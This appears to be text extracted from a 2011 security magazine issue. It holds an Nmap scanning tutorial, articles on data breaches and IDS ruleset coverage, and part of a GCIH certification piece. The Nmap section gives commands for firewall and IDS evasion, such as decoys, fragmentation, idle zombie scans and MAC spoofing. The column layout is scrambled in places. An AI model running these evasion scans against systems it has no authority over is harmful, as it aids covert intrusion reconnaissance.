• Port Scanning
• Version Detection You can create a text file that contains of your victim
• OS Detection and give this file to Nmap for Scan, see the example
• Scriptable interaction with the target below:

Nmap Works in two modes, in command line mode Usage syntax: nmap -iL [list.txt]
and GUI mode. Graphic version of Nmap is known as $ nmap -iL list.txt
Zenmap. Official GUI for Nmap versions 2.2 to 4.22 are
known as NmapFE, originally written by Zach Smith. For Exclude Targets from a Scan
Nmap 4.50, NmapFE was replaced with Zenmap, a new For excluding a target from scan, you can use this
graphical user interface based on UMIT, developed by syntax:
Adriano Monteiro Marques (Figure 1).
Working with Zenmap is easy and have a good Usage syntax: nmap [targets] --exclude [target(s)]
environment for work. $ nmap 192.168.10.0/24 --exclude 192.168.10.100
There are many features about Nmap, but we can not
say about all in this article. I can just discuss some of
the important features.

Scan a Single Target

For scanning a single target, your target can be
specified as an IP address or host name.

Usage syntax: nmap [target]

$ nmap 192.168.10.1
Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-07
19:38 CDT
Interesting ports on 192.168.10.1:
Not shown: 997 filtered ports
PORT STATE SERVICE
20/tcp closed ftp-data
21/tcp closed ftp
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 7.21
seconds Figure 1. Phases of hacking

www.hakin9.org/en 31
 DEFENSE

Scan an IPv6 Target Usage syntax: nmap -sS [target]

In addition to IPv4, Nmap can scan IPv6. The -6 # nmap -sS 10.10.1.48
parameter is used to perform IPv6 scan.
Other options are used in the above form, but only
Usage syntax: nmap -6 [target] some of them require special settings.
# nmap -6 fe80::29aa:9db9:4164:d80e
Custom TCP Scan
You can see a summary of some features about The --scanflags option is used to perform a custom TCP
Discovery Options for quick read in Table 1. scan.
In this paper we refrain from explaining details and,
for example, only show general form for using. Usage syntax: nmap --scanflags [flag(s)] [target]
# nmap --scanflags SYNURG 10.10.1.127
Don’t Ping
Usage syntax: nmap -PN [target] The --scanflags option allows users to define a custom
$ nmap -PN 10.10.5.11 scan using one or more TCP header flags (see
Table 3).
Other features are used similarly. Lets examine
Advanced Scanning Options. Nmap supports a number Port Scanning Options
of user selectable scan types. By default, Nmap will There are a total of 131,070 TCP/IP ports (65,535 TCP
perform a basic TCP scan on each target system. In and 65,535 UDP). Nmap, by default, only scans 1,000
some situations, it may be necessary to perform more of the most commonly used ports.
complex TCP (or even UDP) scans to find uncommon In the table below, we’re showing some of the options
services or to evade a firewall. In the table below that you require to perform in port scanning (see
we show some option that you need to perform for Table 4).
advanced scanning (see Table 2). For using this options we’re showing some of the
We are just presenting the general form of scanning options that require special settings.
and some of the options that require special settings.
Advanced scanning is used like other scanning, in Do a quick scan
the below example we show you how to use options to The -F option instructs Nmap to perform a scan of only
scan target. the 100 most commonly used ports.
Table 2. Advanced Scanning
Note Feature Option
You must login with root/administrator privileges (or use -sS
TCP SYN Scan
the sudo command) to execute many of the scans .
TCP Connect Scan -sT

TCP SYN Scan UDP Scan -sU

To performs a TCP SYN scan you must use the -sS TCP NULL Scan -sN

option. TCP FIN Scan -sF

Table 1. Discovery Options Xmas Scan -sX

TCP ACK Scan -sA

Feature Option
-PN Custom TCP Scan --scanflags
Don’t Ping
-sP IP Protocol Scan -sO
Perform a Ping Only Scan
Send Raw Ethernet Packets --send-eth
TCP SYN Ping -PS
Send IP Packets --send-ip
TCP ACK Ping -PA

UDP Ping -PU Table 3. TCP flags

SCTP INIT Ping -PY Flag Usage
ICMP Echo Ping -PE SYN Synchronize
ICMP Timestamp Ping -PP ACK Acknowledgment
ICMP Address Mask Ping -PM PSH Push
IP Protocol Ping -PO URG Urgent
ARP Ping -PR RST Reset
Traceroute --traceroute FIN Finished

32 02/2011
 Examine your Network With Nmap

Usage syntax: nmap -F [target] Attempt to Guess an

$ nmap -F 10.10.1.44 Unknown Operating System
If Nmap is unable to accurately identify the OS, you can
Nmap scans the top 1000 commonly used ports by force it to guess by using the --osscan-guess option.
default. The -F option reduces that number to 100.
Usage syntax: nmap -O --osscan-guess [target]
Scanning port through a name # nmap -O --osscan-guess 10.10.1.11
The -p option can be used to scan ports by name.
Evading Firewalls
Usage syntax: nmap -p [port name(s)] [target] Firewalls and IDS are designed to prevent tools like
$ nmap -p smtp,http 10.10.1.44 Nmap. Nmap includes a number of features designed
to circumvent these defenses (see Table 6). We will
Scanning Ports by Protocol quickly show how to use these options.
Specifying a T: or U: prefix with the -p option allows you
to search for a specific port and protocol combination. Fragment Packets
The -f option is used to fragment probes into 8-byte
Usage syntax: nmap -p U:[UDP ports],T:[TCP ports] [target] packets.
# nmap -sU -sT -p U:53,T:25 10.10.1.44
Usage syntax: nmap -f [target]
Scan Top Ports # nmap -f 10.10.1.48
The --top-ports option is used to scan the specified
number of top ranked ports. Specify a Specific MTU
Usage syntax: nmap --mtu [number] [target]
Usage syntax: nmap --top-ports [number] [target] # nmap --mtu 16 10.10.1.48
# nmap --top-ports 10 10.10.1.41
In the above example, the --mtu 16 argument instructs
Operating System and Service Detection Nmap to use tiny 16-byte packets for the scan.
One of Nmap’s features is its ability to detect operating
systems and services on remote systems. This feature Use a Decoy
analyzes responses from scanned targets and attempts Usage syntax: nmap -D [decoy1,decoy2,etc|RND:number] [target]
to identify the host’s operating system and installed # nmap -D RND:10 10.10.1.48
services.
In the table below, we’re showing some of the options
that you require to perform Operating System and Table 5. OS and service detection options
Service Detection (see Table 5). Use these options as Feature Option
well as other options listed below: Operating System Detection -O

Trying to guess the unknown --osscan-guess

Operating System Detection operating system
The -O parameter enables Nmap’s operating system Service Version Detection -sV
detection feature. --version-trace
Perform a RPC Scan
Troubleshooting Version Scans -sR
Usage syntax: nmap -O [target]
# nmap -O 10.10.1.48 Table 6. Options for escape the firewall
Feature Option
Tabela 4. Port Scanning Options
Fragment Packets -f
Feature Option --mtu
Specify a Specific MTU
Do a quick scan -F
Use a Decoy -D
Scanning a specific port -p [port]
Idle Zombie Scan -sI
Scanning port through a name -p [name]
To specify the source port to manually --source-port
Scanning Ports by Protocol -p U:[UDP ports],T:[TCP
ports] Append Random Data --data-length

Scan All Ports -p “*” Randomize Target Scan Order --randomize-hosts

Scan Top Ports --top-ports [number] Spoof MAC Address --spoof-mac

Perform port scanning consecutive -r Send Bad Checksums --badsum

www.hakin9.org/en 33
 DEFENSE

In the above example nmap -D RND:10 instructs Nmap

to generate 10 random decoys. On The ‘Net
• http://en.wikipedia.org/wiki/Port_scanner
• http://en.wikipedia.org/wiki/Vulnerability_scanner
Idle Zombie Scan • http://nmap.org
Usage syntax: nmap -sI [zombie host] [target]
# nmap -sI 10.10.1.41 10.10.1.252
Output Options
In this example 10.10.1.41 is the zombie and Nmap offers some options to generate formatted output.
10.10.1.252 is the target system. To specify the source You can save your output in Text, Xml and single line
port manually: grepable file. In the table below, we’re showing some
of the options that you require to generate your desired
Usage syntax: nmap --source-port [port] [target] output (see Table 8). All features can be used as they
# nmap --source-port 53 scanme.insecure.org are, so we just give an example.

Append Random Data Save Output to a Text File

Usage syntax: nmap --data-length [number] [target] For saving output as a text file we use –oN option.
# nmap --data-length 25 10.10.1.252
Usage syntax: nmap -oN [scan.txt] [target]
In the above example 25 additional bytes are added to $ nmap -oN scan.txt 10.10.1.1
all packets sent to the target.
Other features are like each other, but in output all
Randomize Target Scan Order supported file types option, you don’t need to specify
Usage syntax: nmap --randomize-hosts [targets] extensions.
$ nmap --randomize-hosts 10.10.1.100-254 This property is used as follows:

Spoof MAC Address Usage syntax: nmap -oA [filename] [target]

Usage syntax: nmap --spoof-mac [vendor|MAC|0] [target] $ nmap -oA scans 10.10.1.1
# nmap -sT -PN --spoof-mac 0 192.168.1.1
The --spoof-mac option has the following parameters: Another option is 133t output. It outputs only for joking.
see Table 7. In below you can see example of this option.

Send Bad Checksums Usage syntax: nmap -oS [scan.txt] [target]

Usage syntax: nmap --badsum [target] $ nmap -oS scan.txt 10.10.1.1
# nmap --badsum 10.10.1.41 $ cat scan.txt
StaRtING NMap 5.00 ( htTp://nmap.oRg ) aT 2009-08-13 15:45 CDT
Only a system with poor configuration, would respond !nt3r3St|ng pOrts 0n 10.10.1.1:
to a packet with a bad checksum. n0t $h0wn: 998 cl0$3d p0rt$
P0RT $TATE seRV!CE
80/tcp Open hTtp
Tabela 7. Options to Spoof MAC Address
443/tcp 0pen https
Argument Function Nmap DOnE: 1 Ip addresz (1 host up) $canned iN 0.48 $3c0nds
0 (zero) Generates a random MAC address
Specific MAC Address Uses the specified MAC address Remotely scan
Vendor Name Generates a MAC address from the Nmap has a version that runs online and you can scan
specified vendor (such as Apple, Dell, your target remotely. Visit http://nmap-online.com/,
3Com, etc) enter your IP address for scanning, select your scan
type, click scan now button and scanning results later
Tabela 8. Options for generate outputs
will be displayed.
Feature Option
Save Output to a Text File -oN

Save Output to a XML File -oX

Grepable Output -oG MOHSEN MOSTAFA JOKAR

Output All Supported File Types -oA

133t Output -oS

Nmap® Cookbook The fat-free guide to network scanning

34 02/2011
 ID FRAUD EXPERT SAYS

Network Security – Data

Breaches

T
here doesn’t appear to be a day that passes Social Security numbers, credit card and bank account
where we don’t hear about a corporate or numbers, and any other data that could be exploited for
government network data breach (http:// personal use.
datalossdb.org/) in the media. Whatever individuals Imagine what would happen if this information fell into
or businesses do, we all fail miserably when it comes the wrong hands? The data is quite often both personal
to protecting our most valued assets – personal and and financial which lead to fraud, identity fraud and of
financial information. So what is a data breach and how course corporate and government espionage.
will it affect businesses, government and individuals?
What about the data breach threat to virtualisation Data breach notifications
(cloud computing), which is becoming part of business, In the US, data breach laws are fully established in most
general public and government strategies? states. Many US states opt to penalise companies that
are found to have lost or had data stolen. As mentioned
Reasons to be vigilant earlier, the loss of reputation and crippling fines isn’t
In the past twelve months (January to December something a small or medium business could ignore.
2010) there have been many network breaches of The financial loss could be significant. The UK will no
corporate networks and websites. The main purpose of doubt follow the US here either through its own laws or
any data breach is to steal business and/or consumer through the EU.
data. Information compromise is a growing threat Data breach notifications are certainly the norm
to businesses and in particular online e-commerce. these days. Business and individuals can receive
It’s also a threat for individuals who don’t have any credit alerts when anything changes on their credit
control over the data that is parsed to the businesses reports i.e. credit or loan application, mobile accounts
and is sold/rented between companies i.e. marketing or a new bank account is opened. If a business loses
agencies. private information (whether by accident or by a
Critical proprietary data that is compromised will hacker) they are obliged to inform individuals that their
always be a major story if leaked to the media. So for data may have been compromised. This type of data
most businesses it is very important that the threat of leakage normally happens in the financial industry in
data breaches is reduced or in some cases removed particular banking but has also affected government
(sensitive data held off network or accessed at specific – one particular government data breach was the now
intervals or time periods). The damage to reputation, infamous 2007 UK HMRC data leak where some 25
brand and the bottom line is significant if a data breach million personal and banking details were lost in transit
occurs.

The black market commodity ��������������������������������������

On the black market private data is an important ���������

commodity. The critical personal and financial data ���������

can be used to obtain credit or a loan and even worse

steal personal fraudulent documents. In terms of ���������
identity theft, a data security breach may involve using
malicious software to collect individual information that is
ultimately used to drain bank accounts or to create new
credit accounts that are subsequently exhausted by the
hacker or the entity that purchases the information from
the hacker. This information may include government- ���������

issued identification numbers like driver’s license data, Figure 1. Incidents by Business Type – All Time (DataLossDB, 2011)

36 02/2011
 Network Security – Data Breaches

include the UK and Europe) aimed at

�����������������������������
���
documenting known and reported data loss
���
incidents world-wide. The effort is now a
��� community one, and with the move to Open
���
���
Security Foundation’s DataLossDB.org,
���
��� asks for contributions of new incidents and
���
���
new data for existing incidents. This is a
��� very useful resource for anyone wanting to
���
find out about the latest breaches.
Click here to find out the latest data
���
��� breaches in the US: http://datalossdb.org/
��� latest_incidents. You will note that each data
� �� �� �
� ���� breach is categorized – i.e. Hack; stolen
���� ���� ���� ���� ���� ���� ���� ���� ����
document; stolen laptop; disposal document
Figure 2. Data Loss Incidents Over Time (DataLossDB, 2011)*
*Figures also include data loss outside of the US i.e. UK and so on. It certainly makes an interesting
read. Take a closer look at the records stolen
to the UK’s National Audit Office. See Figure 1 below number as well – it’s clear that the data loss frequency is
which highlights the incidents by business type. It higher but the volume of data being lost is much smaller.
shouldn’t surprise you. These data breaches vary in scale from hundreds of
In the US there are strict notification laws which clearly personal/financial records stolen to millions.
define how companies should deal with a data breach.
Most companies have to make detailed information Data encryption and sandboxing
available at a customer’s request. Business and e- So what is an appropriate level of security? So
commerce have improved notification of fraudulent often computers are just password protected but
events over the past couple of years. This might include it’s relatively easy to crack a password. Hence we
an SMS or phone call or a letter in the post (but never hear about data encryption. This should also apply
an email for obvious reasons). to encrypting email but in most cases it doesn’t. To
When a database breach occurs (see Figure 2 for start with, encryption of all files whether on a hard
US data loss by year recorded by DataLossDB.org), disk or USB should be the starting point. Any loss of
consumer notification continues to be a public problem, information would have limited damage as encryption
and it’s time for the US federal government for example provides a layer of security that only the persistent or
to step in, Forty-six states in the US have breach- top notch hacker could crack. Sensitive information
notification laws on the books, but no law is the same, should never be sent by email.
and enforcement is weak. Businesses and government should also consider
In 2011, as malicious breaches continue and the employing sandbox environments to every client
sophistication of cyberattacks increases, Foley, co- PC. Individuals could also utilise this technology
founder of the non-profit Identity Theft Resource Center, which would allow users to browse websites and run
says it’s time for a national breach notification law that applications without ever worrying about drive-by-
covers all industries and supercedes state laws. (Under downloads or exploit links. Data that is encrypted isn’t
the HITECH Act, healthcare organizations must report actually data until it is decrypted. In the US disclosure
major breaches to federal authorities.) Source: ITRC, requirements are more often than not exempt if the
US
Of the breaches recorded by the ITRC in 2010, �����������������������������������

malicious attacks accounted for more breaches than ��������������

�������������

human error. In fact, 17.1 percent of reported breaches �����������

���������������

related to hacking, while 15.4 percent related to insider ����������������������

��������������������
������������������
theft. The ITRC expects those types of breaches to �������������������
��������������

increase in 2011, as the use of mobile devices and ���������������

�����������������
������������
social networks becomes more prevalent. Source: �����������������
�����������
ITRC, US. Figure 2 clearly highlights that data loss has ����������������
����������������
fallen since 2008. �������������������
�������������������
��������� �����������������������
DataLossDB ��������������������
������������������
DataLossDB (http://datalossdb.org/) is a US research ���������� �������������������

project (but also records global data losses which Figure 3. Incidents by Breach Type – All Time (DataLossDB, 2011)

www.hakin9.org/en 37
 ID FRAUD EXPERT SAYS

data has been encrypted. This protects a business qualifying who has access to the data and what
reputation and customer trust is retained. privileges they have and when are they granted and so
on. Businesses will also have to make sure they have
OTP Authentication – online banking the latest security patches deployed on every operating
To help deter a data breach, Banks (which are leading system including Microsoft Windows and Mac OS X as
the way in the financial sector and for good reason well as Java, Flash, and Adobe software.
too) have started implementing One Time Passwords How many software updates do businesses and
(OTP). These passwords or keys are valid only for one individuals have to patch on a monthly basis? Most
login session – the OTP code can be sent to a PC or users/employees will never update Java or Flash
mobile phone. PC banking and mobile phone banking unless enforced in a similar way that Microsoft uses its
applications are now common place, in particular in the Windows Updates service. Businesses will take longer
US, Europe and the UK. to deploy patches – using patch management systems
Statics passwords are still used by the banks which (WSUS or 3rd party software for example) and making
leaves individual and business banking accounts sure each patch installs without causing an individual
open to static attack. Dynamic passwords should be system or network crash.
the only option. One solution might be to incorporate
password pattern authentication technology into the ENISA
login session – this still uses OTP which relies on The European Network and Information Security
a grid of numbers (say five by five) where the user Agency (ENISA) has released (January 2011) new
has to remember a pattern rather than a passcode. reports about the obligation to report data security
Worth noting, in China, some banks use this type of breaches and about the integration of cloud computing
authentication technology. capabilities into European public bodies. Note: This is
It’s nearly impossible to crack the pattern with this type very similar to DataLossDB.org in the US.
of authentication. This type of authentication could be Its Security and Resilience in Governmental Clouds
used on PC’s laptops (hard disks, USBs); data storage; report examines the pros and cons of cloud services
network logins; mobile phones; mobile phone banking for public bodies and particularly attempts to identify
applications; ATM machines and much more. potential risks involved in the processing of classified
information. The report said that while commercial
Data storage and software patch cloud services offer good cost effectiveness, they don’t
management offer public bodies any control over the service; for
More and more business are relying on electronic example, to ensure that applicable laws and regulations
data storage for vital documents such as contracts, are observed.
accounting, client lists and e-commerce. Some of Consequently, it only recommends the use of such
the obvious issues surrounding data privacy include services for non-critical applications. Furthermore, it is
questionable whether service accessibility and reliability
����������������������������������������� is satisfactory across all EU countries, said the report.
Various sample scenarios offer guidelines for decision-
makers about whether using cloud services is advisable
in their public body or community.
����������������
The Data Breach Notifications in Europe (http://
www.enisa.europa.eu/media/press-releases/new-report-
data-breach-notifications-in-europe) report examines the
����������������������
way telecommunications providers currently handle data
breaches. Since the beginning of 2010, an obligation to
�������������������������������������������
report data breaches, for instance when personal data is
copied following a web server break-in, has been in force
across the EU.
����������������

Virtualization – the next data breach threat

Cloud network security is a virtualization service inside
����������������������
and outside of the firewall. This isn’t a new concept.
The cloud allows businesses to outsource IT functions,
so fundamentally it’s the same data security concerns
Figure 4. Records and Incidents Involving 3rd Parties – All Time that we see today with mature networks. The major
(DataLossDB, 2011) concern for businesses is how they manage security

38 02/2011
 Network Security – Data Breaches

and compliance with critical IT systems and data Added to this, the cloud provider will not want an
storage being hosted out of the network and managed organisation to have full visibility of their network
by a third-party. operations – after all they are providing a customer
The answer isn’t straight forward. Most companies service operation. You can now see some of the
will follow Sarbanes-Oxley 9* (this Act does not apply issues facing businesses who want to move into the
to private companies) for security compliance. Security cloud.
and compliance are two primary factors that determine
whether a business moves to the cloud. *Often referred Final thoughts – the security policy
to as SOX. Business and government should consider a viable
up-to-date security policy. One of the major problems
Note for business and government is that the security
Sarbanes-Oxley (SOX) does not just apply to US policy only address yesterday’s threats. Good
companies – any European business listed on the US communication policies are also imperative as are
stock exchange is affected and any European company an understanding of what the sensitive data is and
with 300 or more shareholders in the US is bound by the safeguarding it. Monitoring and maintaining a privilege
requirements. system whereby users and applications have minimum
The following graphs highlight a trend that indicates access to restricted sensitive data is also essential.
that data loss incidents involving third parties, on Monitoring the database for SQL injection attacks and
average, result in a greater number of records lost those other malicious activity, with real-time monitoring and
incidents that do not involve third parties. This may be as regular auditing of the network and policies is probably
a result of the type of data handled by third parties, the the most important defence as this is where the core
process of transferring the data between organizations, data is stored.
or other hypothesis, mostly all speculative as little data It may come as a surprise to know that some
exists to establish one cause as dominant. The trend companies and government departments don’t
is, however, concerning especially if business and regularly pen / intrusion test their networks and devices
government move to cloud networking and storage for looking for weak passwords and ‘vulnerable to exploit’
example. configurations. How many times have we seen default
So what is the cloud? The cloud has many types – admin passwords never changed on first installation?
Public clouds i.e. Amazon Web Services, Newservers; Remove weak passwords and adopt encryption
Private clouds – these are data center architectures and sandbox technology on the network and across
owned by businesses; Community clouds – this is multiple platforms i.e. PCs, removable media, laptops,
when infrastructure is shared by several organisations smartphones etc and organizations will immediately
and supports a specific community that has shared reduce the data loss threat.
concerns; Lastly we have Hybrid clouds – this is Strong network (this includes wireless) encryption
the composition of two or more clouds i.e. private, should also be made standard avoiding weak
community, or public) that remain unique entities but encryption standards and using IPSec, WPA2, SSL and
are bound together by standardised or proprietary SSH for example. Last but not least there is the social
technology. engineering threat which should also be incorporated
The cloud does throw up some interesting compliance into any security policy – after all, the main weakness
issues for businesses – how do businesses document in any organisation isn’t the network it’s the people that
and audit access, storage and management/security use it.
of critical data that are handled by a third-party?
More importantly the data management/security is
not under the control of company owner – so who will
be accountable in the event of a data leakage – the
business owner or the third-party?
Service Level Agreements (SLAs) are common place
where companies want compliance. The SLAs hold JULIAN EVANS
the third-party company, which manages the cloud as Julian Evans is an internet security entrepreneur and Managing
the accountable partner, when there is a data breach Director of education and awareness company ID Theft Protect.
or violation of the SLA. The main problem here for IDTP leads the way in providing identity protection solutions to
business is that SLAs are rarely enforced and when consumers and also works with large corporate companies on
they are they are difficult to enforce full stop. The cloud business strategy within the sector on a worldwide basis. Julian
is an on-demand location and doesn’t have a fixed is a leading global information security and identity fraud expert
infrastructure. who is referenced by many leading industry publications.

www.hakin9.org/en 39
 EMERGING THREATS

What is Good Enough

Coverage?
Everything we buy, build, or test in the security space calls
itself full coverage, complete coverage, or all you’ll ever
need. But we all know no product could possibly say they
can be full coverage, as in they’ll cover every threat you
could be faced with.

E
ven in just the genre that product runs you can’t they can boast some big throughput numbers. Accuracy
say it’ll get everything. But, are we starting to just is a tough thing to define, and NSS I think focuses far too
accept that everyone can’t possibly protect us much on hitting a signature for every CVE out there while
from everything, so whatever they can do is just fine, as leaving malware and other issues off to the side.
long as it’s fast? An effective IDS ruleset HAS to cover malware. Not
I believe we need to as consumers realign what we read just the exploits and drive by downloads (which most
into those marketing phrases, and reconsider what we commercial rulesets don’t cover at all). They need to
should allow to be acceptable for the rhetoric. When the cover the command and control channels. There will be
vendors come in to your organization and start with the infections on your network, no matter what. It will happen.
usual We’ll solve all your IDS problems, nothing gets by us But you’re not going to catch every infection at the point of
we should be really challenging them on these statements. attack. Many of those will not happen while the computer is
We all know, it’s extremely common knowledge, that NO on your network, so you have to go with the other indicators
security product is 100%. I’d argue that most security tools of infection, the CnC channel. Every infection has one, and
at the absolute best will get about 70% of your badness. there isn’t that much variance, so lets catch them there!
Lets talk IDS and IPS for example. That’s near and dear So that’s what we focus on in the ET Pro ruleset,
to my heart as the Emerging Threats.net guy and now the CnC channels as well as the exploit vectors, and
CEO of Emerging Threats Pro (.com). We’ve just gone we’re far more effective at catching malware than any
through launch, and have spent a lot of time developing other ruleset. But we’re still not 100%. We get that
our marketing slang. We purposely chose to use the term demonstrated to us every morning when we come in and
comprehensive to describe our ruleset. My reasoning in go over our sandnet statistics for the previous night. We
this was to make it clear that the ET Pro ruleset is not sandbox about 120k pieces of malware a day and make
something that should be combined with another ruleset sure we have signature coverage. And every day, EVERY
like the ET Open ruleset should. The open ruleset does SINGLE DAY, we have at least 5-20 new malware strains
not cover all of the major vulnerabilities, but is more we didn’t catch. We cover those if it’s possible, and then
malware and current events focused. The ET Pro move on to the next day. So we will never have complete
ruleset is complete and stands on it’s own. So we call it coverage, and I’d argue that we will have the closest to
comprehensive to make it clear this was as good or better complete coverage but I’d not venture to say we will get
than every other ruleset, but it won’t get everything. (We everything. It’d be irresponsible to say so!
do believe it to be significantly better than anything else What do most vendors intend to build then when they
out there, but that’s a different article). put a product to market? Well we all of course strive to
We did not choose to use the term Complete. I don’t make the best thing we can as security researchers. But,
think any security product can nor should give the depending on the size of the organization building the
impression that they’ll catch everything. Our ruleset will product they may also be striving for the most marketable
catch more, but that’s because our focus is different than product, or the most profitable product. So to get most
any other ruleset. So what is good enough for IDS/IPS marketable, or the highest profit margin something
coverage? NSS labs has some great testing standards. else has to decrease. You’re not going to get the most
And even the best vendors get out of NSS with a 70% effective security tool and the highest profit margin at the
accuracy rate or less and call that spectacular, as long as same time. You’re not going to get most marketable and

40 02/2011
 What is Good Enough Coverage?

most secure at the same time. Often the most effective

tools are so technical and difficult to deploy that they’re a
nightmare to sell, so they don’t make it to market.
We have to decide what we’re really looking for in
our security products. Lets stay with IDS/IPS. You can
have high throughput, reliable, secure, manageable and
inexpensive. All of those exist, but not at the same time.
You can have a few of those five qualities at a time.
Generally you don’t get high throughput and highly secure
at the same time. Usually you have to sacrifice ruleset
coverage to get faster. You don’t get easily manageable
and inexpensive at the same time. It takes a lot of effort to
build an effective management suite, and that’s not cheap.
Every organization needs to decide what of the five
qualities are most important to them. Personally, I choose
reliable, secure and manageable. Those mean the most
to me. I’ll spend more money, and I’ll put in more devices
to cover the same traffic. As a security guy I cannot make
that choice to spend less to get less security. I think that’s
dereliction of duty to make any choice to be less secure
when more secure is available and feasible.
Where do you sit on the subject? Will you sacrifice
secure for cheaper? When you buy an IDS do you ask
where they get their ruleset? How often they update
it? How they cover malware? How they cover the
mainstream vulnerabilities? How fast do they get MS
Patch Tuesday bugs out? Do they cover zero-days
discussed on bugtraq before they get a CVE?
My advice, if you ask about ruleset coverage and the sales
guy sends you a list of the CVEs they cover, run away. That
means they are going to cover just enough to keep a nice
long list of CVEs, but still keep the ruleset small enough to
have a high throughput number. That means they aren’t
going after the things that are kicking your network’s butt
every day, the malware, zero-days, etc. CVEs don’t steal
data from your network, CnC channels do.
So what is good enough coverage? Everyone has
to decide on their own. But please do NOT let security
or accuracy be sacrificed for anything. Don’t go for the
magical 10gig box just to get 10gig. Look at it’s security.
10gig is possible, several vendors are putting out 10gig
Suricata boxes that are dirt cheap and can run a full
ruleset as well as other analysis processes. Suricata is
multi-threaded, this is changing the game. We can do
large scale on normal hardware!
I’m very interested in what you think. Please send me
your thoughts, [email protected]. Get
your copy of the new ET Pro Ruleset, http://www.emerg
ingthreatspro.com and support open source security!

MATTHEW JONKMAN
Matt is the founder of emergingthreats.net, the only open
and community based intrusion detection ruleset, and is
also president of the Open Information Security Foundation
(OISF). The OISF is building Suricata, an next generation ids
funded by the US Department of Homeland Security.
 CERTIFICATIONS

Exploring GCIH
certification
for fun and employability
Do you remember the time when you used to read everything you
got on Internet from underground e-zines to README files? How
many years of professional experience do you have? This really
counts. Enhance your skill set by challenging this certification
exam! There’s no more room to discuss whether it’s good or bad
being certified. The market needs it.

What you will learn… What you should know…

• Basics of GIAC certification process • Information Security certification market
• Practical tips for earning GIAC certs, especially GCIH

M
ost readers know about the certifications new kind of attacks or even about new worms (got
provided by the SANS Institute, better known Stuxnet?), all of these are likely to be revealed during
as GIAC – Global Information Assurance an incident handling process.
Certification. These certifications are among the Knowing what to do (formal procedure) when such
most respected in Information Security (IS) market events happen is essential for any organization that
as well as stand out for being vendor neutral, that is, deals with valuable data. Thus, it’s easy to note that this
whose content is not restricted to just one product or knowledge has not to do with only tactical or operational
manufacturer. teams, but strategic too.
Among the technical certifications listed on the The process of studying for – any – certification will
certification portal, here are some of them: give you, at least, a different approach to solve problems
that one can face. In this case, time is running against
• Firewall Analyst – GCFW the defender, so knowing what (and how) to handle an
• Intrusion Analyst – CGIA incident will make the difference.
• Unix Security Administrator – GCUX SANS has made a great job regarding IS certification
• Penetration Tester – GPEN development. Many institutions have recognized this
• Forensic Analyst – GCFA effort, including DoD and other dot-gov agencies, since
• Incident Handler – GCIH they are requesting for GCIH and other GIAC certified
individuals as a requirement to join their CSIRT or SOC
The latter will be the target of this article. Later, I teams.
will provide valuable tips for future candidates, even OK, enough said for motivation! In my opinion, this
for those who could not attend SANS training or type of certification is challenging and can increase your
conferences. opportunities, professionally speaking.
If you are already familiar with GIAC certification
process you can skip directly to the section Facing the What topics are covered in the exam?
challenge. The topics are based in a SANS course (Hacker
Techniques, Exploits & Incident Handling, SEC-504)
Does GCIH really matters? and the candidate must answer correclty at least 109 of
Incident Handling is by far one of the most discussed 150 questions, which represents 73% of all questions.
topics in IS community right now. When you hear about Here is the list of topics covered:

42 02/2011
 Exploring GCIH certification for fun and employability

• Backdoors & Trojan Horses objective online exam, which could be done at home,
• Buffer Overflows using internet connection.
• Covering Tracks on Systems In the end, if the required score was obtained
• Covering Tracks on the Network (generally, around 80%), the paper and the score were
• Covering Tracks with Steganography published on GIAC website with candidate’s name and
• Denial of Service Attacks new credentials.
• Exploiting Systems using Netcat Nowadays, the process is different. To obtain the
• Format String Attacks Gold certification, the candidate must pass the objective
• Gaining Windows data through null sessions exam (multiple choice questions), which is held in a
• General Trends in the Hacker Underground supervised internet environment. Successfully passing
• Incident Handling and the Legal System this step, grants the candidate Silver credential.
• Incident Handling Defined After obtaining Silver certification, if the applicant
• Incident Handling Phase 1 Preparation wishes to challenge the Gold credential, he must submit
• Incident Handling Phase 2 Identification a paper for evaluation, following the same procedure
• Incident Handling Phase 3 Containment already described above.
• Incident Handling Phase 4 Eradication Furthermore, GIAC has recently published another
• Incident Handling Phase 5 Recovery top IS certification program, it’s called GSE – GIAC
• Incident Handling Phase 6 Lessons Learned Certified Security Expert, which also involves lab
• Intellectual Property Incidents exercises in order to get certified. Visit the following
• IP Address Spoofing URL to read about the requirements to make it (really
• Kernel-Mode Rootkits hard work!):
• Network Sniffing http://www.giac.org/certifications/gse.php
• Password Attacks
• Reconnaissance Investment or Cost?
• Scanning: Network Mapping, Port Scanning, and If you pass, it’s an investment; otherwise, the investment
Passive Fingerprinting is increased almost twice as you will try again, don’t
• Scanning: Wardialing and Wireless discovery you?
• Scanning: Network and Application Vulnerability Currently, the objective exam (challenge exam)
scanning and tools needed to achieve Silver certification costs of $899,
• Network Devices (Firewall rules determination, whereas the paper submission for Gold certification
fragmentation, and IDS/IPS evasion) costs $299.
• Session Hijacking, Tools and Defenses Note that if the candidate buys a certification exam in
• Types of Incidents (Espionage, Unauthorized Use, conjunction with a SANS course, exam cost gets lower.
and Insider Attacks) For more details about courses and retake policy, visit
• User-Mode Rootkits the following websites:
• Virtual Machine Attacks http://www.sans.org/security-training.php,
• Web Application Attacks http://giac.org/retakes/
• Worms, Bots & Bot-Nets
Validity and Recertification Policy
For a detailed explanation of each of the topics above, Generally, certifications are valid for 4 years. Passed 2
please visit the certification bulletin page: years after the credentials publication, it is provided an
http://www.giac.org/certbulletin/gcih.php interface at SANS portal where the user can fill out with

Gold x Silver
Many candidates, who passed through the certification
process before mid-2005, were displeased with
the current model, a process that does not require
the preparation of a paper prior to obtaining the
certification.
Previously, there was no such distinction (Gold/
Silver). The certification process was as follows: exam
registry was done using portal credentials; candidate
picked up a subject for development and a technical
paper should be prepared to be assessed by SANS,
if approved, the candidate went to the next stage:

www.hakin9.org/en 43
 CERTIFICATIONS

evidence information that will be converted into points piece of code or a log/packet trace, network drawings
(CMUs – Certification Maintenance Units). and so on.
To get CMUs, a list of actions can be taken,
including: Self-studying or SANS training?
Without any doubt, if you have a chance to participate
• Participation in training, both as a student or as an in a SANS training session or conference, it will be
instructor; very valuable to your career. It’s wrong expecting only
